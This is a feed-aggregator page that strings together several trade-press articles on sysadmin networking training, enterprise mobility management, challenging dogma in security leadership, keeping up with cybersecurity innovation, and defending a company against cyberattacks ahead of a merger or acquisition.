It’s also worth checking out O’Reilly’s Networking for Sysadmins video training options . These videos cover TCP/IP basics, OSI, and all the essential components within a network’s infrastructure, ranging from firewalls to VPNs to routers and virtual machines. The information is comprehensive, with some of the individual videos requiring a full day to complete and digest. Additionally, the curriculum is available on demand, so it can be used as reference material for networking essentials.

Additionally, Lynda.com offers an array of online network administration courses taught by experts. Sysadmins can quickly get through courses such as Linux File Sharing Services and Identity and Access Management .

Even as sysadmins focus on moving up the technology stack with their skillsets, networking basics remain essential. Fortunately, training and education are more accessible than ever. Next time, we’ll look at important security requirements to consider when advancing your sysadmin career.

Learn more about essential sysadmin skills: Download the

Mobility Management Roadmap for the Enterprise

$
0
0

Mobility Management Roadmap for the Enterprise
The age of digital transformation is upon us and organizations are implementing mobile-first strategies every day. If your business is looking to do the same, or you just need to future-proof your plan for managing the mobile devices within your organization, use this roadmap as a resource. Deploying a unified and user centric platform

If you’re in the process of implementing a mobility management tool and still in the research phase, take a look at our Buyer’s Guide for this space , which features an overview of the market, top vendor profiles and questions to ask. The guide was designed to help you find the right solution for your business, and many reportedly benefit from a tool that is unified and user centric.

Choosing the right tool is only half the battle; you’ll also need a strategy for your platform to achieve continued success. Choosing a policy for your staff and whether they will be using personal or corporate devices is critical in this process. The rise in popularity of Bring Your Own Device (BYOD) to work policies enabled many organizations to streamline operations and give productivity a boost. However, by2019, 85 percent of enterprises will offer a Choose Your Own Device (CYOD) program as their default device policy, according to VMWare . Corporate Owned Personally Enabled(COPE) policies are also in play within the enterprise, which some say are a happy medium given that they allow companies to provide employees with devices, but staff members can use them as if they were personally-owned.

“Businesses must effectively integrate these modern expectations into their mobility strategies in order to maintain a competitive advantage, as the notion of a seamless end-user experience for both customers and employees further establishes itself as a critical component of enterprise mobility in 2017 and beyond,” VMWare reported.

It’s also vital to know how popular each mobile operating system is, and according to an IDC Report titled Smartphone OS Market Share, 2016 Q3, at the end of the third quarter last year, Android devices contributed to86.8 percent of the smartphone market share and iOS claimed only 12.5 percent. windows trailed behind with .3 percent of the total market share.

Mobile security is key

A unified platform allows businesses to streamline different mobile devices throughout an enterprise, but that creates new points that need to be secured in order to prevent a breach. Organizations should not overlook the risk that employees’ unmanaged devices represent, according to VMWare. And while they may not know it, employees’ activity could be detrimental to corporate data.

“In their report, ‘Application Security in the Changing Risk Landscape,’ F5 and the Ponemon Institute warn

that the majority of modern security attacks are aimed at user identity and applications, and these application-layer attacks are typically 63 percent harder to detect and 67 percent more difficult to contain than network-level attacks,” VMWare reported.

As organizations transition to apps and data to mobile cloud-based platforms, it will be more and more clear that the enterprise needs to deploy a unified platform with an intelligent security solution that includes endpoint analysis for threat detection.

Maximize business process efficiencies with IoT

The IoT has taken mobility to another level, according to VMWare.

“With their cloud-based infrastructure in place, one of the biggest opportunities will presumably be the value of mobile-driven IoT projects,” according to the vendor. “Mobility is already driving enterprises to redefine the way they approach tasks and associate responsibilities. By adding more web-based solutions to the mix, new IoT devices are now redefining traditional business processes with maximized efficiency.”

Diving into the IoT code will push innovation forward and in just two years from now, all IoT efforts will reportedly merge with streaming analytics with machine learning trained on data lakes, marts and more.

Utilize intelligent analytics to understand user needs

Big data is becoming more and more widely used and analytics systems will be used to help meet governance standards and add value in many other ways.

“Instant access to the increasing velocity of big data is creating new challenges for IT and business leaders when it

comes to how to leverage and execute decisions based on the information collected. As a result, many companies are incorporating more advanced and predictive analytics apps, a move that will contribute to 65% [sic] faster business decision execution than those using apps without predictive functionality,” VMWare reported.

And over the next several years, by 2020, businesses will be able to look closely at vital data and offer insights that can be acted upon. An IDC report claims that moves like those will add $430 billion in productivity wins compared to those who have not relied on analytics as much.

“Simply put, business intelligence has become business critical. An intelligent analytics platform could give companies the tools needed to optimize app license usage, improve business operations, save

money, and add new IT value,” VMware’s Senior Vice President of Mobile ProductsNoah Wasmer said.

The mobile cloud

Four out of five enterprises report implementing successful mobile initiatives, VMWare reported. However, many are reportedly experiencing issues with deploying a flexible infrastructure for support.

The need for mobile-based operations is reportedly on the rise and, in turn, more businesses are looking to harness the power of cloud-based services to support their mobility strategies.Spending on cloud services globally is predicted to double from about $70 billion in 2015 to over $141 billion in 2019, the IDC reported. IaaS and PaaS services are expected to grow more than SaaS platforms.

In conclusion, mobility management is vital to the enterprise and necessary for streamlining operations and boosting productivity. Without the proper strategy in place, an organization becomes vulnerable to threats. A new strategy may be necessary for your business and it’s important to consider a unified and cloud-based platform as part of that strategy; keep in mind that analytics and security infrastructures can push your business up to another level while keeping it safe.

Now check out these resources that will aid in choosing the best solution for you:

It’s time for security leaders to challenge dogma

$
0
0
Home IT Leadership

Translating Security Value

By Michael Santarcangelo , CSO | Aug 2, 2017 6:50 AM PT

About |

How to change behaviors by making security make sense. Explore translating value, effective communication, influence, measurement, and leadership issues.

Opinion

It’s time for security leaders to challenge dogma

Jason Brvenik for a Security Slap Shot on the need for security leaders to challenge dogma and replace outsized assumptions with evidence and better action


It’s time for security leaders to challenge dogma
Credit: Thinkstock

More like this


It’s time for security leaders to challenge dogma

How CISOs can answer difficult questions from CEOs


It’s time for security leaders to challenge dogma

How computer security pros hack the hackers


It’s time for security leaders to challenge dogma

Infosec careers: There is no one true path


It’s time for security leaders to challenge dogma

Video

Bringing behavioral game theory to security defenses

What are the key elements of a good security program?

Why did you answer that way?

Seems a lot of security is ‘handed-down’ knowledge. We pride data and evidence-driven decisions while suggesting security is too hard to measure and pin down. Curious, no?

Jason Brvenik ( LinkedIn , @ vrybdpkt ), CTO of NSS Labs , suggests it’s time to challenge our assumptions and question the dogma of security to get better results. Jason’s career is marked by recognizing difficult challenges and applying new technologies and strategies to counter risks. As Chief Technology Officer at NSS Labs , Jason oversees the company’s renowned independent testing and validation of security technologies, helping buyers find “truth in security.” Prior to NSS Labs he served as Principal Engineer in the Office of the Chief Security Architect at Cisco , a role he assumed following Cisco’s $2.7B acquisition of Sourcefire in 2013. Jason was a Sourcefire Fellow and Vice President of Security Strategy at the time of the acquisition. He spent 11 years at Sourcefire leading diverse business and technical operations for one of the security industry’s most influential and disruptive companies focused on network security and fighting malware.

He sets up and slaps a shot to challenge our dogma in security:

Confronting Dogma and Outsized Assumptions in Cybersecurity

I am always surprised at the outsized influence of assumptions and dogma in our cybersecurity field, since we operate in a world of objective results. These incumbent attitudes remain just below the surface and are easiest to spot when major incidents like theWannaCry orNotPetya attacks flood news cycles.

First look at assumptions . Few things in security are certain, but it is striking how many decisions are still guided by gut reactions and what’s assumed to be true. Take the “defense in depth” concept of layered security. No one disagrees with the theory here. Yet, despite our now mobile and cloud-driven world, the model continues ad infinitum, where new layers are continually deployed in front of each other to the point where actually managing all the layers introduces new challenges.

Defenses too deep to manage compound security problems, because new tools offering temporary peace of mind obscure the question of whether any real benefits offset their additional costs. Venture capitalists might not like to hear this, but I think we are already saturated with products for fighting known security spending catalysts like ransomware, which can and should be countered with existing technologies and practices.

Now look at dogmatic arguments characterizing security too often used with media, executives and other crucial audiences. We still hear voices say that ransomware victims get what they deserve because they did not patch . Other experts lambast users running any version of legacy software. Blaming the victim is no more acceptable in the cyber domain than elsewhere. Yet, others assert that developers cannot ethically end software updates for even decades-old code. Who else has heard that attribution is a crucial , fundamental principle of defensive postures except when it is a completely irrelevant waste of time and resources?

Where does dogma come from? It is too easy to blame vendors and marketing hype. Dogma is ultimately fed by upbringing. We all learned security at different times in different organizations where we found reassuring “truths.” Depending on our mentors and the organizations we served, instincts on attribution, the human factor and other flashpoints make perfect sense to some CISOs and sound irrational to others.

With each of us responding to more executive questions and oversight, we owe it to ourselves to re-think our convenient illustrations and arguments.

Sometimes posing questions in heated situations is more important than registering an argument. We will never have all the answers and always draw on experience, but this does not mean we should settle for guesswork or polarize conversations.

My Analysis (color commentary) Jason nailed it. We rely on dogma and assumptions to make decisions while searching for ev

Staying in Front of Cybersecurity Innovation

$
0
0

Innovation is challenging for security teams because it encompasses two seemingly contradictory ideas: it's happening too slowly and too quickly.

Cyber attackers can launch thousands of attacks daily. Many of these same attackers don't even need serious technical expertise to do so; they can simply purchase (or even rent) DIY hacking toolkits or subcontract the actual attack campaign to a hacker-for-hire. With such low entry barriers and a threat landscape that's evolving rapidly due to relatively easy access to processing horsepower and automation technologies, cybersecurity must be top of mind at any organization.

Fortunately, many new technologies are new to security operation centers (SOCs) and the teams that run them. The use of automation, machine learning' and big data has the potential to detect, analyze' and contain most threats automatically, without the need for human intervention ― which leaves SOC teams with more time and resources to dedicate to hunting more sophisticated attacks. But if SOCs want to take advantage of emerging cybersecurity technologies, they'll need to rethink their playbooks and make significant changes to technology roadmaps. Why? Because innovation in cybersecurity is challenged by two seemingly conflicting ideas: it's happening too slowly and too quickly. Allow me to explain.

Some say that most recent innovation in cybersecurity industry has been incremental, not revolutionary. Specifically, the products and services currently used in cybersecurity have been around for years, and today's more advanced threats aren't going to be stopped by simply adding a few new features or performance enhancements. Slow and incremental updates to well-established cybersecurity products and services will not protect a network against today's more evolved threat landscape; the adoption of new and revolutionary technologies is required.

For others, the massive volume of innovation is paralyzing. There are so many startups touting new cybersecurity products that it's easy to become overwhelmed by the sheer number of new point products and their related concepts/buzzwords (machine learning, threat intelligence, automation, etc.). How do you figure out what the right security solution for your organization is when a new one launches every week? How easily do new products integrate into your existing security architecture? Is the product addressing a security issue that your organization is likely to encounter? How much manpower and time are involved in maintaining the new product? Attempting to answer such questions makes it easy to see why keeping up with cybersecurity innovation is such a challenge.

Here are three tips to help you strengthen your organization's security posture and stay in front of cybersecurity innovation.

Tip 1: New Technology Only Works if Implemented and Used Correctly

Having the latest and greatest technology is only effective if that technology is implemented and configured properly. When considering any new cybersecurity product, remember first principles. Go back and ask the key questions. What is your security team responsible for? Does this new product help with those responsibilities? If so, then it's worth considering implementing the product in your security architecture, and only then after extensive testing and reworking of the security workflow to ensure there are no gaps in the security posture.

Tip 2: Use "Purple Teaming" to Gain a Competitive Advantage

SOCs, traditionally run by Blue Teams, are responsible for defending an organization. Blue Teams need the right mix of tools, technologies, and people to detect, analyze, contain, and remediate attacks. In addition to these tools, Blue Teams should partner closely with Red Teams, the white-hat hackers in an organization. Red Teams can run a number of different penetration tests to provide valuable insight into what hackers can do and the latest tools and technologies they can use to infiltrate an organization's network and assets. With the two teams working together on a regular basis, called "Purple Teaming," organizations can build up strong defenses to protect against real-time threats.

Tip 3: Leverage Automation to Scale Your Threat Response

Today's evolving threat landscape requires SOCs to adopt new technologies and best practices like automation and machine learning; they remove the need for human intervention to solve more basic cyberthreats (which make up the bulk of reported attacks). Such automation will require careful configuration of foundational security elements (endpoint, threat intelligence, threat analysis, firewalls, etc.) to avoid gaps in an organization's security posture. But if done properly, it will allow the SOC to take a more proactive role in defending the network.

Related Content: 7 Deadly Sins to Avoid When Mitigating Cyberthreats The SOC Is Dead…Long Live the SOC Avoiding the Dark Side of AI-Driven Security Awareness

Rinki Sethi is Senior Director of Security Operations and Strategy at Palo Alto Networks. She is responsible for building a world-class security operations center that includes capabilities such as threat management, security monitoring, and threat intelligence. Rinki is also ...View Full Bio

Don't Let a Cyberattack Stand Between Your Company and a Successful Exit

$
0
0

Don't Let a Cyberattack Stand Between Your Company and a Successful Exit

In its recent report, Software M&A Frenzy: Searching for the Competitive Edge , West Monroe revealed that 35 percent of senior global executives said cybersecurity issues have caused them to nix a potential merger oracquisitiondeal with a software company. For many entrepreneurs planning on asuccessfulexit, this finding may be cause for concern. It suggests that a powerful product, a carefully constructed business model and a robust customer roster may not be enough. All of the hard work put into the creation of a winning company could fall flat if that business is the victim of a devastatingcyber attack.

And these days, it seems that cyber attacks are a dime a dozen. GoldenEye is just the latest in a string of attacks that have impacted businesses worldwide. WannaCry caused an estimated $1 billionin damage in just its first four days, and Cybersecurity Ventures predicts global ransomware costs to exceed $5 billion in 2017. By 2021, cyber crime damage costs could hit $6 trillionannually .

Related: The Worst Hacks of 2017 -- So Far

With cyber crime on the rise, it's imperative that businesses prepare a defensive strategy and make security a priority -- especially if their goal is a successful exit. Here are three best practices for enhancing security measures so that cyber attacks don’t stand between your company and a desirable merger or acquisition.

1. Create an army of internal security experts.

One of the hottest jobs on the market is chief security officer (CSO). This role is absolutely essential, but the CSO alone cannot be held accountable for defending a company against a cyber attack. All employees are vulnerable to vicious cyber attacks and therefore should all be trained to identify and prevent hacks.

Consider that one of the most popular hacking techniques is sending employees emails that appear to be password reset notices, when really they contain rogue messages. If employees open these messages and follow their instructions, they are giving the hackers all the confidential information they hoped for.

To prevent something like this from destroying your company's competitive edge or chance at an exit, organizations must take proactive measures to educate their teams on security. Web-based training courses cover important topics, such as configuration management, virtualization security and application security, in addition to teaching employees how to spot suspicious activity, like phishing emails.

Related: Phishing in All Its Firms Is a Menace to Small Businesses

2. Take advantage of email tools that identify smoke before it becomes fire.

Speaking of phishing emails, they are the source of 91 percent of cyber attacks. With this in mind, businesses should consider tools that can help them better manage what's happening in their employees' inboxes.

Solutions offering email analytics can alert companies to shared content that may pose security risks, including sensitive credit card information, Social Security numbers or other personally identifiable information. While a business may not be able to go back in time to prevent that data from ever passing through its email system, it can leverage analytics to catch the security breach much faster than it otherwise would have, and then take the proper steps to mitigate the issue before it escalates into a much larger problem.

Related: Just Being Proactive Isn't Enough: What Entrepreneurs Should Do During a Cyber Attack

3. Choose a cloud vendor that offers proven protection.

If your organization is part of the 95 percent of businesses using the cloud, it's extremely important to make sure your cloud vendor is able to protect the information you're storing in their platform. Reliable cloud vendors will have certifications including SOC2, PCI, HIPAA and FedRAMP, which signal that they have met key criteria related to factors such as structural organization, policy and procedural communications, risk management, control monitoring, systems operations and change maintenance.

Organizations should also look for cloud vendors that employ security specialists and architects who are able to design environments that ensure resiliency and privacy. Other "must haves" include security control offerings, best practice checklists, website “support” tabs, product manuals, security advisories and technical papers.

There are a lot of hurdles entrepreneurs need to jump over in order to achieve a successful exit. A cyber attack should not be one of them. By taking these three proactive steps, organizations will be able to dramatically decrease security breach risk and chances of losing out on a great business opportunity.


Don't Let a Cyberattack Stand Between Your Company and a Successful Exit
Greg Arnette

Greg Arnette is co-founder and CTO of Sonian, a company that archives and analyzes communications data in the cloud. An expert on messaging, collaboration and networking, Arnette has designed messaging solutions for all communication platfo...

Read more
Viewing all 12749 articles
Browse latest View live